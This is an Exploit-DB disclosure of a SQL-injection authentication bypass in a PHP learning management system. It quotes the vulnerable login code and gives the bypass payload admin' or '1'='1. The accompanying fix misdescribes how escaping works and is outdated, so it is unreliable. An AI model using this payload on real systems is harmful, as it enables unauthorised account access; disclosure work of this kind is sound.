Exploit-DB #40545
Description: Learning Management System 0.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title.............. Learning Management System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/jkev/lms.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in lms/login.php
-------------------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND [CREDENTIAL_REDACTED]'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND [CREDENTIAL_REDACTED]'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

----snip----

lms/admin/login.php
-------------------

----snip----

		$username = $_POST['username'];
		$password = $_POST['password'];

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND [CREDENTIAL_REDACTED]'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

----snip----

You can login with username and password: admin' or '1'='1

How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example: lms/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);
		/* student */
			$query = "SELECT * FROM student WHERE username='$username' AND [CREDENTIAL_REDACTED]'";
			$result = mysql_query($query)or die(mysql_error());
			$row = mysql_fetch_array($result);
			$num_row = mysql_num_rows($result);
		/* teacher */
		$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND [CREDENTIAL_REDACTED]'")or die(mysql_error());
		$num_row_teacher = mysql_num_rows($query_teacher);
		$row_teahcer = mysql_fetch_array($query_teacher);
		if( $num_row > 0 ) { 

   Example: lms/admin/login.php

		$username = mysql_real_escape_string($_POST['username']);
		$password = mysql_real_escape_string($_POST['password']);

		$query = mysql_query("SELECT * FROM users WHERE username='$username' AND [CREDENTIAL_REDACTED]'")or die(mysql_error());
		$count = mysql_num_rows($query);
		$row = mysql_fetch_array($query);

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/7339/learning-management-system.html
http://php.net/manual/en/function.mysql-real-escape-string.php